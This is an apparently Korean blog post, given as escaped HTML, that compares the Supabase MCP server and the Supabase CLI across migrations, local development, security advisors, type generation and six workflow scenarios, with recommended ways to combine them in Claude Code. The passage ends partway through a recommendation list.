&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 &lt;b&gt;DDL/DML 분리를 권장&lt;/b&gt;한다. 스키마 변경은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt;을 통해 마이그레이션 이력에 자동 기록되며, 일반 쿼리는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;을 사용하도록 LLM에 안내한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;?read_only=true&lt;/code&gt; URL 파라미터를 설정하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;이 읽기 전용 Postgres 사용자로 실행되어 쓰기 작업이 차단되고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;create_project&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;deploy_edge_function&lt;/code&gt; 등 모든 변경 도구가 비활성화된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# CLI 방식: 마이그레이션 파일 생성 &amp;rarr; 로컬 테스트 &amp;rarr; 원격 적용&lt;/span&gt;&lt;br /&gt;supabase migration new add_user_profile&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# supabase/migrations/TIMESTAMP_add_user_profile.sql 편집&lt;/span&gt;&lt;br /&gt;supabase db reset &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬에서 마이그레이션 테스트&lt;/span&gt;&lt;br /&gt;supabase db push &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 DB에 적용&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI는 마이그레이션 파일을 로컬에 생성하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;db reset&lt;/code&gt;으로 로컬에서 검증한 뒤 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;db push&lt;/code&gt;로 원격에 적용하는 워크플로우다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;db diff&lt;/code&gt;로 원격/로컬 간 스키마 차이를 감지하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;migration squash&lt;/code&gt;로 여러 마이그레이션을 하나로 합칠 수도 있다. 이런 파이프라인 기능은 CLI에서만 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 로컬 개발 환경&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLI만의 영역&lt;/b&gt;이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase start&lt;/code&gt; 하나로 Docker 컨테이너들이 올라오면서 로컬에 완전한 Supabase 스택이 구성된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;PostgreSQL&lt;/b&gt; (localhost:54322)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 엔드포인트&lt;/b&gt; (localhost:54321) &amp;mdash; Auth, Storage, Realtime, REST 통합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Storage&lt;/b&gt; (localhost:54321)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Realtime&lt;/b&gt; (localhost:54321)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Studio&lt;/b&gt; (localhost:54323) &amp;mdash; 브라우저 기반 GUI&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Mailpit&lt;/b&gt; (localhost:54324) &amp;mdash; 이메일 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 기본적으로 원격 Supabase 프로젝트에 연결된다. CLI로 로컬 Supabase를 구동한 경우 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;http://localhost:54321/mcp&lt;/code&gt;로 로컬 MCP 서버에 접근할 수 있지만, 제한된 도구만 제공되며 OAuth 2.1 인증은 지원되지 않는다. 오프라인 환경이나 전체 로컬 개발 스택이 필요한 경우 CLI가 핵심 도구다.&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 보안 &amp;amp; 어드바이저&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_advisors&lt;/code&gt;는 프로젝트에 대한 보안 및 성능 관련 어드바이저 알림(advisory notices)을 제공한다. LLM이 이를 활용하여 보안 취약점이나 성능 이슈를 확인할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// MCP 방식: 자연어로 보안 점검 요청&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;&quot;현재 DB의 보안 취약점을 점검해줘&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// LLM이 get_advisors 호출 &amp;rarr; 결과 분석 &amp;rarr; execute_sql로 확인&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// &amp;rarr; 수정 SQL 생성 &amp;rarr; apply_migration으로 적용&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// 전체 과정이 하나의 대화 흐름에서 자동 처리&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1738&quot; data-origin-height=&quot;1204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPLoSC/dJMcaaxOQez/61y3KM0j07a4MdzxDBYMRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPLoSC/dJMcaaxOQez/61y3KM0j07a4MdzxDBYMRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPLoSC/dJMcaaxOQez/61y3KM0j07a4MdzxDBYMRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPLoSC%2FdJMcaaxOQez%2F61y3KM0j07a4MdzxDBYMRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1738&quot; height=&quot;1204&quot; data-origin-width=&quot;1738&quot; data-origin-height=&quot;1204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;db lint&lt;/code&gt;는 Postgres 린트 규칙을 적용하지만, MCP의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_advisors&lt;/code&gt;가 제공하는 보안/성능 분석과는 다른 영역이다. 두 가지를 함께 활용하면 더 포괄적인 점검이 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 타입 생성 &amp;amp; 문서 검색&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase gen types --lang typescript&lt;/code&gt;는 DB 스키마에서 TypeScript 타입을 자동 생성하는 CLI 명령어다. MCP에도 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;generate_typescript_types&lt;/code&gt; Tool이 있어 동일한 기능을 제공한다. CLI는 파일로 직접 저장하기 편하고 CI/CD 자동화에 적합하며, MCP는 LLM이 생성된 타입을 바로 코드에 활용하는 워크플로우에 적합하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반대로 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;search_docs&lt;/code&gt;는 MCP 전용 기능이다. LLM이 Supabase 공식 문서를 검색하여 올바른 API 사용법을 참조할 수 있다. 이는 할루시네이션을 줄이는 데 효과적이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 4. 실전 시나리오 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 시나리오 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;6가지 시나리오에서 MCP와 CLI 중 어느 쪽이 더 적합한지 비교해보자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 새 테이블 설계 및 생성 &lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP 유리&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;사용자 프로필 테이블을 만들어줘. users 테이블과 1:1 관계로, avatar_url, bio, website 컬럼이 필요해.&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;MCP 워크플로우&lt;/th&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;CLI 워크플로우&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. 자연어로 요청&lt;br /&gt;2. LLM이 &lt;code&gt;list_tables&lt;/code&gt;로 기존 스키마 확인&lt;br /&gt;3. CREATE TABLE SQL 자동 생성&lt;br /&gt;4. &lt;code&gt;apply_migration&lt;/code&gt;으로 적용&lt;br /&gt;5. RLS 정책도 함께 생성 가능&lt;br /&gt;&lt;br /&gt;&lt;b&gt;소요 시간: ~30초 (대화 1회)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. &lt;code&gt;supabase migration new&lt;/code&gt; 실행&lt;br /&gt;2. SQL 파일을 직접 작성&lt;br /&gt;3. &lt;code&gt;supabase db reset&lt;/code&gt;으로 로컬 테스트&lt;br /&gt;4. &lt;code&gt;supabase db push&lt;/code&gt;로 원격 적용&lt;br /&gt;&lt;br /&gt;&lt;b&gt;소요 시간: ~5분 (수동 작업)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 로컬 개발 환경 구성 &lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI만 가능&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;로컬에서 Supabase 전체 스택을 띄우고, Auth 흐름까지 테스트하고 싶다.&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;MCP 워크플로우&lt;/th&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;CLI 워크플로우&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;✘ &lt;b&gt;불가능&lt;/b&gt;&lt;br /&gt;MCP 단독으로 로컬 스택 구동 불가 (CLI가 필요)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. &lt;code&gt;supabase init&lt;/code&gt;&lt;br /&gt;2. &lt;code&gt;supabase start&lt;/code&gt;&lt;br /&gt;3. Docker로 전체 스택 구동&lt;br /&gt;4. localhost:54323에서 Studio 접근&lt;br /&gt;&lt;br /&gt;&lt;b&gt;소요 시간: ~2분 (첫 실행 시 이미지 다운로드 포함 5-10분)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: TypeScript 타입 생성 &lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;양쪽 모두 가능&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;DB 스키마 변경 후 TypeScript 타입을 업데이트해야 한다.&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;MCP 워크플로우&lt;/th&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;CLI 워크플로우&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;✔ &lt;code&gt;generate_typescript_types&lt;/code&gt;&lt;br /&gt;MCP에서도 DB 스키마 기반 타입 생성 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;&lt;code&gt;supabase gen types --lang typescript --project-id YOUR_PROJECT_REF &amp;gt; src/types/supabase.ts&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;CI/CD에서 자동화 가능: 스키마 변경 &amp;rarr; 타입 재생성 &amp;rarr; PR 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 4: 보안 취약점 점검 &lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP 유리&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;프로덕션 DB에 보안 취약점이 없는지 전체 점검하고 싶다.&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;MCP 워크플로우&lt;/th&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;CLI 워크플로우&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. &quot;보안 점검해줘&quot; 요청&lt;br /&gt;2. &lt;code&gt;get_advisors&lt;/code&gt; 호출 (보안 + 성능)&lt;br /&gt;3. 발견된 이슈를 &lt;code&gt;execute_sql&lt;/code&gt;로 상세 확인&lt;br /&gt;4. 수정 SQL 자동 생성&lt;br /&gt;5. &lt;code&gt;apply_migration&lt;/code&gt;으로 적용&lt;br /&gt;&lt;br /&gt;&lt;b&gt;전체 과정이 하나의 대화 흐름&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. &lt;code&gt;supabase db lint&lt;/code&gt; 실행 (Postgres 린트)&lt;br /&gt;2. 결과를 수동으로 분석&lt;br /&gt;3. 수정 SQL 직접 작성&lt;br /&gt;4. &lt;code&gt;supabase db push&lt;/code&gt;로 적용&lt;br /&gt;&lt;br /&gt;&lt;b&gt;보안 어드바이저 기능은 없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 5: 마이그레이션 테스트 &lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI 유리&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;마이그레이션을 프로덕션에 적용하기 전에 pgTAP으로 테스트하고 싶다.&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;MCP 워크플로우&lt;/th&gt;
&lt;th style=&quot;padding: 10px; border: 1px solid #dee2e6; width: 50%;&quot;&gt;CLI 워크플로우&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;✘ &lt;b&gt;불가능&lt;/b&gt;&lt;br /&gt;pgTAP 테스트 기능 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #dee2e6; vertical-align: top;&quot;&gt;1. &lt;code&gt;supabase/tests/&lt;/code&gt; 디렉토리에 pgTAP 테스트 작성&lt;br /&gt;2. &lt;code&gt;supabase test db&lt;/code&gt; 실행&lt;br /&gt;3. 테스트 통과 확인 후 &lt;code&gt;db push&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CI/CD 파이프라인에 통합 가능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 6: 프로덕션 배포 파이프라인 &lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI 유리&lt;/span&gt;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; &quot;GitHub Actions에서 PR 머지 시 자동으로 마이그레이션을 적용하고 싶다.&quot;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# .github/workflows/deploy.yml&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;name&lt;/span&gt;: Deploy Migrations&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;on&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;push&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;branches&lt;/span&gt;: [main]&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;jobs&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;migrate&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;runs-on&lt;/span&gt;: ubuntu-latest&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;steps&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- uses: actions/checkout@v4&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- uses: supabase/setup-cli@v1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- run: supabase link --project-ref $PROJECT_REF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- run: supabase db push&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 대화형 도구이므로 CI/CD 파이프라인에 통합하기 어렵다. 자동화된 배포 파이프라인에는 CLI가 적합하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 5. Skills + CLI 조합 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Skills + CLI 조합: 추천 스택&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서는 MCP와 CLI를 동시에 사용할 수 있다. MCP Tool과 Bash를 통한 CLI 호출을 조합하면 단일 도구로는 불가능한 워크플로우를 구성할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추천 조합 1: MCP로 설계 &amp;rarr; CLI로 타입 생성&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;MCP &lt;code&gt;list_tables&lt;/code&gt;로 기존 스키마 확인&lt;/li&gt;
&lt;li&gt;자연어로 테이블 설계 요청 &amp;rarr; MCP &lt;code&gt;apply_migration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bash: &lt;code&gt;supabase gen types --lang typescript --project-id xxx &amp;gt; src/types/supabase.ts&lt;/code&gt; (또는 MCP &lt;code&gt;generate_typescript_types&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;생성된 타입으로 코드 작성 계속&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추천 조합 2: CLI로 로컬 개발 &amp;rarr; MCP로 원격 점검&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Bash: &lt;code&gt;supabase start&lt;/code&gt;로 로컬 스택 구동&lt;/li&gt;
&lt;li&gt;로컬에서 개발 및 마이그레이션 테스트&lt;/li&gt;
&lt;li&gt;Bash: &lt;code&gt;supabase db push&lt;/code&gt;로 원격 적용&lt;/li&gt;
